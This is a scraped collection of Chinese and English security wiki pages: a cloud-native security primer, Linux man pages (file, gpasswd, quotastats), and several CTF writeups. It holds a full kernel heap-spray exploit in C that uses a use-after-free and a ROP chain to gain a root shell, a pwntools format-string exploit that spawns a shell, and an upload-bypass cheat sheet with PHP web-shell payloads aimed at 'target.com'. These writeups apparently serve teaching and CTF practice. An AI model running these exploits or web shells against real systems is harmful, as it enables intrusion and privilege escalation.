服务网格(Service Mesh)用于控制应用的不同部分之间如何共享数据,服务网格内置于应用程序中的专用基础架构层,这个可见的基础架构层可以记录应用的不同部分是否能正常交互。
在服务网格中,请求将通过所在基础架构层中的代理在微服务之间路由,构成服务网格的各个代理有时被称为"sidecar"
如果没有服务网格,每项微服务都需要进行逻辑编码,才能管理服务间通信,这会导致开发人员无法专注于业务目标,同时,这也意味着通信故障难以诊断,因为管理服务间通信的逻辑隐藏在每项服务中。
<img width="800" src="/img/1649948493.png">
### CNCF
CNCF (Cloud Native Computing Foundation) 云原生计算基金会,于 2015 年7月21日成立,隶属于 Linux 基金会,CNCF 的口号是坚持和整合开源技术来编排容器作为微服务架构的一部分。
CNCF 是一个孵化、运营云原生生态的中立组织,CNCF 对于云原生应用的推广和普及发挥着重要的作用。
在 landscape.cncf.io 可以看到由 CNCF 所维护的云原生全景图。

## 0x02 云原生安全
### 云原生
云原生(Cloud Native)可以拆分成「云」和「原生」去看。
「云」相对的就是本地,传统应用都跑在本地服务器上,而云则表示跑在云服务器上。
「原生」则可以简单的理解成出生地的意思,放在云环境中所表达的意思就是:在把应用跑到云服务器上时,应该充分的利用云自身的特点,比如弹性和分布式优势。
如果只是简单的把原来本地跑的业务放到云上,高举“上云”大旗,那只能叫做“拆迁户”,不能叫做云原生;当“上云”的风潮过去后,开始出现了直接就部署在云上的业务,这些业务完全按照“云”的特点去设计,这种是“云”的原住民,可以叫做云原生。
CNCF 对于云原生的见解为:
云原生技术有利于各组织在公有云、私有云和混合云等新型动态环境中,构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式 API。
这些技术能够构建容错性好、易于管理和便于观察的松耦合系统。结合可靠的自动化手段,云原生技术使工程师能够轻松地对系统作出频繁和可预测的重大变更。
对于云原生系统一般有以下特征:
- 轻、快、不变的基础设施
- 弹性服务编排
- 开发运营一体化
- 微服务架构
- 无服务模型
### 云原生安全
在介绍完云原生后,云原生安全就变得容易理解了,云原生安全至少包含了微服务安全、无服务安全、编排平台安全、服务网格安全、容器安全、宿主机安全等等。
根据云原生环境的构成,面向云原生环境的安全体系可以概括为以下三个层面:
- 容器安全
- 编排系统安全
- 云原生应用安全:包括了微服务、无服务、服务网格、零信任体系、API 安全等等
另外除了这些和云原生环境相关的技术之外,云原生安全还包含了一些传统安全的内容,比如宿主机的安全等等。
> 参考链接:
>
> 《云原生安全-攻防实践与体系构建》
>
> https://zh.wikipedia.org/wiki/Docker
>
> https://www.jianshu.com/p/a37baa7c3eff
>
> https://www.51cto.com/article/652294.html
>
> https://jimmysong.io/kubernetes-handbook/cloud-native/cncf.html
>
> https://zh.wikipedia.org/wiki/%E5%BE%AE%E6%9C%8D%E5%8B%99
>
> https://www.redhat.com/zh/topics/cloud-native-apps/what-is-serverless
>
> https://www.redhat.com/zh/topics/microservices/what-is-a-service-mesh
>
> https://decodezp.github.io/2020/05/23/quickwords43-what-is-cloudnative
>
> https://www.redhat.com/zh/topics/containers/what-is-container-orchestration
>
> https://jimmysong.io/kubernetes-handbook/cloud-native/cloud-native-definition.html
>
> https://www.cncf.io/announcements/2015/06/21/new-cloud-native-computing-foundation-to-drive-alignment-among-container-technologies/
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月14日"
}
}
</script>
|
sec-knowleage
|
# Heap Spray
**堆喷射**(heap spraying)指的是一种辅助攻击手法:「**通过大量分配相同的结构体来达成某种特定的内存布局**,从而帮助攻击者完成后续的利用过程」,常见于如下场景:
- 你有一个 UAF,但是**你无法通过少量内存分配拿到该结构体**(例如该 object 不属于当前 freelist 且释放后会回到 node 上,或是像 `add_key()` 那样会被一直卡在第一个临时结构体上),这时你可以**通过堆喷射来确保拿到该 object**。
- 你有一个堆溢出读/写,但是**堆布局对你而言是不可知的**(比如说开启了 `SLAB_FREELIST_RANDOM`(默认开启)),你可以**预先喷射大量特定结构体,从而保证对其中某个结构体的溢出**。
- ......
作为一种辅助的攻击手法,堆喷射可以被应用在多种场景下。
## 例题:RWCTF2023体验赛 - Digging into kernel 3
> 本篇为了介绍堆喷射这一手法,同时为了使用更多不同的结构体,**笔者会用比较复杂的思路去解题**。
### 题目分析
按惯例查看启动脚本,发现开启了 SMEP、SMAP、KASLR、KPTI:
```bash
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-enable-kvm \
-cpu kvm64,+smap,+smep \
-monitor /dev/null \
-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
-no-reboot \
-snapshot \
-s
```
文件系统里给了一个 `rwctf.ko` ,拖入 IDA 进行分析,发现只定义了一个 ioctl,提供了两个功能:
- 0xDEADBEEF:分配一个**任意大小**的 object 并能写入数据,分配 flag 为 `__GFP_ZERO | GFP_KERNEL`,不过我们只能同时有两个 object。
- 0xC0DECAFE:释放一个之前分配的 object ,**存在 UAF**。
我们需要传入如下结构体:
```c
struct node {
uint32_t idx;
uint32_t size;
void *buf;
};
```
经过笔者测试,出题人**手动关闭了如下默认开启的保护**(出题人为了降低题目难度,可能关的更多,笔者只测了这几个):
- 关闭了 `CONFIG_MEMCG_KMEM`,这使得`GFP_KERNEL` 与 `GFP_KERNEL_ACCOUNT` 会从同样的 `kmalloc-xx` 中进行分配
- 关闭了 `CONFIG_RANDOMIZE_KSTACK_OFFSET`,这使得固定函数调用到内核栈底的偏移值是不变的
- 关闭了 `SLAB_FREELIST_HARDENED`,这使得 freelist 几乎没有任何保护,我们可以轻易完成任意地址分配 + 任意地址读写
不过在笔者看来 _出题人其实没有必要自降难度_ ,下面笔者将给出在这三种保护开启时也能完成利用的方法 :)
### 漏洞利用
既然题目中已经直接白给出了一个无限制的 UAF,那么利用方式就是多种多样的了,这里笔者选择使用 [user\_key\_payload](https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#0x0A-%E5%86%85%E6%A0%B8%E5%AF%86%E9%92%A5%E7%AE%A1%E7%90%86%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D) 来完成利用。
#### Step.I - 堆喷 user\_key\_payload 越界读泄露内核基地址
在内核当中存在一个用于密钥管理的子系统,内核提供了 `add_key()` 系统调用进行密钥的创建,并提供了 `keyctl()` 系统调用进行密钥的读取、更新、销毁等功能:
```c
#include <sys/types.h>
#include <keyutils.h>
key_serial_t add_key(const char *type, const char *description,
const void *payload, size_t plen,
key_serial_t keyring);
//...
#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2,
__kernel_ulong_t arg3, __kernel_ulong_t arg4,
__kernel_ulong_t arg5);
```
当我们调用 `add_key()` 分配一个带有 `description` 字符串的、类型为 `"user"` 的、长度为 `plen` 的内容为 `payload` 的密钥时,内核会经历如下过程:
- 首先会在内核空间中分配 obj 1 与 obj2,分配 flag 为 `GFP_KERNEL`,用以保存 `description` (字符串,最大大小为 4096)、`payload` (普通数据,大小无限制)
- 分配 obj3 保存 `description` ,分配 obj4 保存 `payload`,分配 flag 皆为 `GFP_KERNEL`
- 释放 obj1 与 obj2,返回密钥 id
其中 obj4 为一个 `user_key_payload` 结构体,定义如下:
```c
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[] __aligned(__alignof__(u64)); /* actual data */
};
//...
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
```
类似于 `msg_msg`,`user_key_payload` 结构体有着一个固定大小的头部,其余空间用来存储来自用户空间的数据(密钥内容)。
`keyctl()` 系统调用为我们提供了读取、更新(分配新对象,释放旧对象)、销毁密钥(释放 payload)的功能,其中读取的最大长度由 `user_key_payload->datalen` 决定,我们不难想到的是我们可以利用题目提供的 UAF 将`user_key_payload->datalen` 改大,从而完成越界读。
注意以下两点:
- 这里我们的 description 字符串需要和 payload 有着不同的长度,从而简化利用模型。
- 读取 key 时的 len 应当**不小于 user\_key\_payload->datalen,否则会读取失败**。
但是这里有一个问题:**add\_key() 会先分配一个临时的 obj1 拷贝 payload 后再分配一个 obj2 作为 user\_key\_payload**,若我们先分配一个 obj 并释放后再调用 add\_key() 则该 obj 不会直接成为 `user_key_payload` ,而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在。
**但我们可以通过堆喷将 UAF obj 分配到 user\_key\_payload**,考虑如下流程:
- 利用题目功能构建 UAF object。
- 堆喷射 `user_key_payload` ,UAF obj 作为拷贝 payload 的临时 obj 存在。
- `kmem_cache_cpu` 的 slub page 耗光,向 node 请求新的 slub page 分配 `user_key_payload` ,完成后 UAF obj 被释放并回到 `kmem_cache_node`。
- 继续堆喷 `user_key_payload` ,`kmem_cache_cpu` 的 slub page 耗光,向 node 请求新的 slub page 分配 `user_key_payload` 。
- UAF obj 所在页面被取回,UAF obj 被分配为 `user_key_payload` 。
- 利用题目功能再次释放 UAF obj,利用题目功能进行堆喷获取到该 obj,从而覆写 `user_key_payload` 。
> 注:官方题解中进行地址泄露也是利用类似的做法。
>
> > 不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放,之后再在 obj2 上弄 UAF 就行了:) 这里采用这种做法只是为了介绍 heap spraying 这一手法。
> >
> > > 笔者将在 Step.II 中使用这种方法。
接下来我们考虑越界读取什么数据,这里我们并不需要分配其他的结构体, `rcu_head->func` **函数指针在 rcu 对象被释放后才会被写入并调用,但调用完并不会将其置为 NULL**,因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针,从而完成内核基址的泄露。
#### Step.II - UAF 泄露可控堆对象地址,篡改 pipe\_buffer 劫持控制流
可以用来控制内核执行流的结构体有很多,但是我们需要考虑如何完整地执行 `commit_creds(prepare_kernel_cred(NULL))` 后再成功返回用户态,因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain。
由于题目开启了 SMEP、SMAP 保护,因此我们只能在内核空间伪造函数表,同时内核中的大部分结构体的函数表为静态指定(例如 `tty->ops` 总是 `ptm(或pty)_unix98_ops`),因此我们还需要知道一个内容可控的内核对象的地址,从而在内核空间中伪造函数表。
这里笔者选择管道相关的结构体完成利用;在内核中,管道本质上是创建了一个**虚拟的 inode** 来表示的,对应的就是一个 `pipe_inode_info` 结构体:
```c
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};
```
同时内核中会分配一个 `pipe_buffer` 结构体数组,每个 `pipe_buffer` 结构体对应一张用以存储数据的内存页:
```c
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
```
`pipe_buf_operations` 为一张函数表,当我们对管道进行特定操作时内核便会调用该表上对应的函数,例如当我们关闭了管道的两端时,会触发 `pipe_buffer->pipe_buffer_operations->release` 这一指针,由此我们便能控制内核执行流,从而完成提权。
```c
struct pipe_buf_operations {
//...
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
```
那么这里我们可以利用 UAF 使得 `user_key_payload` 与 `pipe_inode_info` 占据同一个 object, `pipe_inode_info` 刚好会将 `user_key_payload->datalen` 改为 `0xFFFF` 使得我们能够继续读取数据,从而读取 `pipe_inode_info` 以泄露出 `pipe_buffer` 的地址。
而 `pipe_buffer` 是动态分配的,因此我们可以利用题目功能预先分配一个对象作为 `pipe_buffer` 并直接在其上伪造函数表即可。
> 对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。
### EXPLOIT
最后的 exp 如下:
```c
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>
#include "kernelpwn.h"
/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40
#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024
#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0
#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70
int dev_fd;
struct node {
uint32_t idx;
uint32_t size;
void *buf;
};
/**
* @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
* __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM
* GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
*
* @param idx
* @param size
* @param buf
*/
void alloc(uint32_t idx, uint32_t size, void *buf)
{
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0xDEADBEEF, &n);
}
void del(uint32_t idx)
{
struct node n = {
.idx = idx,
};
ioctl(dev_fd, 0xC0DECAFE, &n);
}
int main(int argc, char **argv, char **envp)
{
size_t *buf, pipe_buffer_addr;
int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
char desciption[0x100];
int pipe_fd[2];
int retval;
/* fundamental works */
bindCore(0);
saveStatus();
buf = malloc(sizeof(size_t) * 0x4000);
dev_fd = open("/dev/rwctf", O_RDONLY);
if (dev_fd < 0) {
errExit("FAILED to open the /dev/rwctf file!");
}
/* construct UAF on user_key_payload */
puts("[*] construct UAF obj and spray keys...");
alloc(0, PIPE_INODE_INFO_SZ, buf);
del(0);
for (int i = 0; i < KEY_SPRAY_NUM; i++) {
snprintf(desciption, 0x100, "%s%d", "arttnba", i);
key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
if (key_id[i] < 0) {
printf("[x] failed to alloc %d key!\n", i);
errExit("FAILED to add_key()!");
}
}
del(0);
/* corrupt user_key_payload's header */
puts("[*] corrupting user_key_payload...");
buf[0] = 0;
buf[1] = 0;
buf[2] = 0x2000;
for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
alloc(0, PIPE_INODE_INFO_SZ, buf);
}
/* check for oob-read and leak kernel base */
puts("[*] try to make an OOB-read...");
for (int i = 0; i < KEY_SPRAY_NUM; i++) {
if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
printf("[+] found victim key at idx: %d\n", i);
victim_key_idx = i;
} else {
key_revoke(key_id[i]);
}
}
if (victim_key_idx == -1) {
errExit("FAILED at corrupt user_key_payload!");
}
kernel_offset = -1;
for (int i = 0; i < 0x2000 / 8; i++) {
if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
kernel_base += kernel_offset;
break;
}
}
if (kernel_offset == -1) {
errExit("FAILED to leak kernel addr!");
}
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);
/* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
puts("[*] construct UAF on pipe_inode_info...");
/* 0->1->..., the 1 will be the payload object */
alloc(0, PIPE_INODE_INFO_SZ, buf);
alloc(1, PIPE_INODE_INFO_SZ, buf);
del(1);
del(0);
pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
del(1);
/* this object is for the pipe buffer */
alloc(0, PIPE_BUFFER_SZ, buf);
del(0);
pipe(pipe_fd);
/* note that the user_key_payload->datalen is 0xFFFF now */
retval = key_read(pipe_key_id, buf, 0xffff);
pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n",
pipe_buffer_addr);
/* construct fake pipe_buf_operations */
memset(buf, 'A', sizeof(buf));
buf[0] = *(size_t*) "arttnba3";
buf[1] = *(size_t*) "arttnba3";
buf[2] = pipe_buffer_addr + 0x18; /* pipe_buffer->ops */
/* after release(), we got back here */
buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
/* pipe_buf_operations->release */
buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
buf[5] = *(size_t*) "arttnba3";
buf[6] = *(size_t*) "arttnba3";
buf[7] = kernel_offset + POP_RDI_RET;
buf[8] = NULL;
buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
buf[11] = kernel_offset + COMMIT_CREDS;
buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
buf[13] = *(size_t*) "arttnba3";
buf[14] = *(size_t*) "arttnba3";
buf[15] = getRootShell;
buf[16] = user_cs;
buf[17] = user_rflags;
buf[18] = user_sp + 8; /* system() wants it : ( */
buf[19] = user_ss;
del(0);
alloc(0, PIPE_BUFFER_SZ, buf);
/* trigger pipe_buf_operations->release */
puts("[*] trigerring pipe_buf_operations->release()...");
close(pipe_fd[1]);
close(pipe_fd[0]);
return 0;
}
```
|
sec-knowleage
|
file
===
用来探测给定文件的类型
## 补充说明
**file命令** 用来探测给定文件的类型。file命令对文件的检查分为文件系统、魔法幻数检查和语言检查3个过程。
### 语法
```shell
file(选项)(参数)
```
### 选项
```shell
-b:列出辨识结果时,不显示文件名称;
-c:详细显示指令执行过程,便于排错或分析程序执行的情形;
-f<名称文件>:指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称;
-L:直接显示符号连接所指向的文件类别;
-m<魔法数字文件>:指定魔法数字文件;
-v:显示版本信息;
-z:尝试去解读压缩文件的内容。
```
### 参数
文件:要确定类型的文件列表,多个文件之间使用空格分开,可以使用shell通配符匹配多个文件。
### 实例
显示文件类型
```shell
[root@localhost ~]# file install.log
install.log: UTF-8 Unicode text
[root@localhost ~]# file -b install.log <== 不显示文件名称
UTF-8 Unicode text
[root@localhost ~]# file -i install.log <== 显示MIME类别。
install.log: text/plain; charset=utf-8
[root@localhost ~]# file -b -i install.log
text/plain; charset=utf-8
```
显示符号链接的文件类型
```shell
[root@localhost ~]# ls -l /var/mail
lrwxrwxrwx 1 root root 10 08-13 00:11 /var/mail -> spool/mail
[root@localhost ~]# file /var/mail
/var/mail: symbolic link to `spool/mail'
[root@localhost ~]# file -L /var/mail
/var/mail: directory
[root@localhost ~]# file /var/spool/mail
/var/spool/mail: directory
[root@localhost ~]# file -L /var/spool/mail
/var/spool/mail: directory
```
|
sec-knowleage
|
# Writeup BSidesSF 2017
Team: c7f.m0d3, cr01283, msm, shalom, akrasuski1, nazywam
### Table of contents
* [vhash fixed (crypto)](vhash)
* [sensors (pwn)](sensors)
* [delphi (web/crypto)](delphi)
|
sec-knowleage
|
gpasswd
===
Linux下工作组文件的管理工具
## 补充说明
**gpasswd命令** 是Linux下工作组文件`/etc/group`和`/etc/gshadow`管理工具。
### 语法
```shell
gpasswd(选项)(参数)
```
### 选项
```shell
-a:添加用户到组;
-d:从组删除用户;
-A:指定管理员;
-M:指定组成员和-A的用途差不多;
-r:删除密码;
-R:限制用户登入组,只有组中的成员才可以用newgrp加入该组。
```
### 参数
组:指定要管理的工作组。
### 实例
如系统有个peter账户,该账户本身不是groupname群组的成员,使用newgrp需要输入密码即可。
```shell
gpasswd groupname
```
让使用者暂时加入成为该组成员,之后peter建立的文件group也会是groupname。所以该方式可以暂时让peter建立文件时使用其他的组,而不是peter本身所在的组。
所以使用`gpasswd groupname`设定密码,就是让知道该群组密码的人可以暂时切换具备groupname群组功能的。
```shell
gpasswd -A peter users
```
这样peter就是users群组的管理员,就可以执行下面的操作:
```shell
gpasswd -a mary users
gpasswd -a allen users
```
注意:添加用户到某一个组 可以使用`usermod -G group_name user_name`这个命令可以添加一个用户到指定的组,但是以前添加的组就会清空掉。
所以想要添加一个用户到一个组,同时保留以前添加的组时,请使用gpasswd这个命令来添加操作用户:
```shell
gpasswd -a user_name group_name
```
|
sec-knowleage
|
# Arbitrary File Upload
## Introduction
An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.
## Where to find
In upload file feature, for example upload photo profile feature
## How to exploit
1. Change the `Content-Type` value
```
POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```
Change the Content-Type
```
POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg
```
2. Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file
```
POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
Content-Type: application/x-php
```
Change the request to this
```
POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php
```
3. Upload the payload, but start with GIF89a; and
```
POST /images/upload/ HTTP/1.1
Host: target.com
...
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif
GIF89a; <?php system("id") ?>
```
And dont forget to change the content-type to image/gif
4. Bypass content length validation, it can be bypassed using small payload
```
(<?=`$_GET[x]`?>)
```
5. Using null byte in filename
```
file.php%00.gif
```
6. Using double extensions for the uploaded file
```
file.jpg.php
```
7. Uploading an unpopular php extensions (php4,php5,php6,phtml)
```
file.php5
```
8. Try to randomly capitalizes the file extension
```
file.pHP5
```
9. Mix the tips!
|
sec-knowleage
|
.TH QUOTASTATS 8 "1999年8月20日星期五"
.UC 4
.SH NAME(名称)
quotastats - 显示与配额子系统相关的统计信息
.SH SYNOPSIS(总览)
.B quotastats
.SH DESCRIPTION(描述)
该命令显示与配额子系统相关的统计信息.
.SH "SEE ALSO"(另见)
quota(1), quotactl(2)
.SH AUTHOR(作者)
Marco van Wieringen \<mvw@planets.elm.net\>
.br
Jan Kara \<jack@atrey.karlin.mff.cuni.cz\>
.br
作了细小的修改.
.SH "[中文版维护人]"
.B riser <boomer@ccidnet.com>
.SH "[中文版最新更新]"
2001/7/10
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# echo back
Binary Exploitation, 500 points
## Description:
> This program we found seems to have a vulnerability. Can you get a shell and retreive the flag?
A binary file was attached.
## Solution:
Let's run the executable:
```console
root@kali:/media/sf_CTFs/pico/echo_back# ./echoback
input your message:
Test
Test
Thanks for sending the message!
```
Opening the executable with Radare2, we see that the `vuln` contains most of the logic:
```assembly
[0x080485ab]> pdf
/ (fcn) sym.vuln 152
| sym.vuln ();
| ; var int input @ ebp-0x8c
| ; var int local_ch @ ebp-0xc
| ; var int local_4h @ ebp-0x4
| ; CALL XREF from sym.main (0x8048684)
| 0x080485ab 55 push ebp
| 0x080485ac 89e5 mov ebp, esp
| 0x080485ae 57 push edi
| 0x080485af 81ec94000000 sub esp, 0x94
| 0x080485b5 65a114000000 mov eax, dword gs:[0x14] ; [0x14:4]=-1 ; 20
| 0x080485bb 8945f4 mov dword [local_ch], eax
| 0x080485be 31c0 xor eax, eax
| 0x080485c0 8d9574ffffff lea edx, [input]
| 0x080485c6 b800000000 mov eax, 0
| 0x080485cb b920000000 mov ecx, 0x20 ; 32
| 0x080485d0 89d7 mov edi, edx
| 0x080485d2 f3ab rep stosd dword es:[edi], eax
| 0x080485d4 83ec0c sub esp, 0xc
| 0x080485d7 6820870408 push str.echo_input_your_message: ; 0x8048720 ; "echo input your message:"
| 0x080485dc e87ffeffff call sym.imp.system ; int system(const char *string)
| 0x080485e1 83c410 add esp, 0x10
| 0x080485e4 83ec04 sub esp, 4
| 0x080485e7 6a7f push 0x7f ; 127
| 0x080485e9 8d8574ffffff lea eax, [input]
| 0x080485ef 50 push eax
| 0x080485f0 6a00 push 0
| 0x080485f2 e819feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x080485f7 83c410 add esp, 0x10
| 0x080485fa 83ec0c sub esp, 0xc
| 0x080485fd 8d8574ffffff lea eax, [input]
| 0x08048603 50 push eax
| 0x08048604 e817feffff call sym.imp.printf ; int printf(const char *format)
| 0x08048609 83c410 add esp, 0x10
| 0x0804860c 83ec0c sub esp, 0xc
| 0x0804860f 6839870408 push 0x8048739
| 0x08048614 e837feffff call sym.imp.puts ; int puts(const char *s)
| 0x08048619 83c410 add esp, 0x10
| 0x0804861c 83ec0c sub esp, 0xc
| 0x0804861f 683c870408 push str.Thanks_for_sending_the_message ; 0x804873c ; "Thanks for sending the message!"
| 0x08048624 e827feffff call sym.imp.puts ; int puts(const char *s)
| 0x08048629 83c410 add esp, 0x10
| 0x0804862c 90 nop
| 0x0804862d 8b45f4 mov eax, dword [local_ch]
| 0x08048630 653305140000. xor eax, dword gs:[0x14]
| ,=< 0x08048637 7405 je 0x804863e
| | 0x08048639 e8f2fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x0804863e 8b7dfc mov edi, dword [local_4h]
| 0x08048641 c9 leave
\ 0x08048642 c3 ret
[0x080485ab]>
```
We can see in the disassembly that `printf` is being called with our input as the format string - creating a Format String Attack:
```console
root@kali:/media/sf_CTFs/pico/echo_back# ./echoback
input your message:
%x
ffed28ec
Thanks for sending the message!
```
We can use this to spawn a shell:
* We send in "/bin/sh#" as our input, followed by a payload that will override `printf`'s .got.plt entry with `system`'s address. Now, if `printf(input)` is called, what actually will be executed is `system("/bin/sh")`.
* However, we have a small problem: We need `printf` in order to trigger our attack - how do we call it again?
* The trick is to also override the `puts` address with the `vuln` address, so instead of calling `puts("Thanks for sending the message!")` we will actually jump back to `vuln`, this time with `printf` as `system`.
The script:
```python
from pwn import *
import argparse
import os
LOCAL_PATH = "./echoback"
REMOTE_PATH = ["2018shell3.picoctf.com", 22462]
PREFIX = "/bin/sh#"
def get_process(is_remote = False):
if is_remote:
return remote(*REMOTE_PATH)
else:
return process(LOCAL_PATH)
def send_payload(proc, payload):
proc.sendlineafter("message:", PREFIX + payload)
def exec_fmt(payload, is_remote = False):
proc = get_process(is_remote)
send_payload(proc, payload)
return proc.recvall()
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--is_remote", help="Connect to remote server?", action="store_true")
args = parser.parse_args()
e = ELF(LOCAL_PATH)
context.binary = e.path
autofmt = FmtStr(exec_fmt)
writes = {e.got['puts']: e.symbols['vuln'], e.got['printf']: e.plt['system']}
log.info("Address of puts() .got.plt: {}".format(hex(e.got['puts'])))
log.info("Address of printf() .got.plt: {}".format(hex( e.got['printf'])))
log.info("Address of vuln(): {}".format(hex(e.symbols['vuln'])))
log.info("Address of system() .plt: {}".format(hex(e.plt['system'])))
payload = fmtstr_payload(autofmt.offset, writes, numbwritten=len(PREFIX))
log.info("Payload: {}".format(enhex(payload)))
p = get_process(args.is_remote)
send_payload(p, payload)
p.interactive()
```
The output:
```console
root@kali:/media/sf_CTFs/pico/echo_back# python exploit.py -r
[*] '/media/sf_CTFs/pico/echo_back/echoback'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './echoback': pid 6930
[+] Receiving all data: Done (82B)
[*] Process './echoback' stopped with exit code 0 (pid 6930)
[+] Starting local process './echoback': pid 6934
[+] Receiving all data: Done (76B)
[*] Process './echoback' stopped with exit code 0 (pid 6934)
[+] Starting local process './echoback': pid 6938
[+] Receiving all data: Done (82B)
[*] Process './echoback' stopped with exit code 0 (pid 6938)
[+] Starting local process './echoback': pid 6942
[+] Receiving all data: Done (82B)
[*] Process './echoback' stopped with exit code 0 (pid 6942)
[+] Starting local process './echoback': pid 6946
[+] Receiving all data: Done (75B)
[*] Process './echoback' stopped with exit code 0 (pid 6946)
[+] Starting local process './echoback': pid 6950
[+] Receiving all data: Done (77B)
[*] Process './echoback' stopped with exit code 0 (pid 6950)
[+] Starting local process './echoback': pid 6954
[+] Receiving all data: Done (82B)
[*] Process './echoback' stopped with exit code 0 (pid 6954)
[+] Starting local process './echoback': pid 6958
[+] Receiving all data: Done (82B)
[*] Process './echoback' stopped with exit code 0 (pid 6958)
[+] Starting local process './echoback': pid 6962
[+] Receiving all data: Done (82B)
[*] Process './echoback' stopped with exit code 0 (pid 6962)
[*] Found format string offset: 9
[*] Address of puts() .got.plt: 0x804a01c
[*] Address of printf() .got.plt: 0x804a010
[*] Address of vuln(): 0x80485ab
[*] Address of system() .plt: 0x8048460
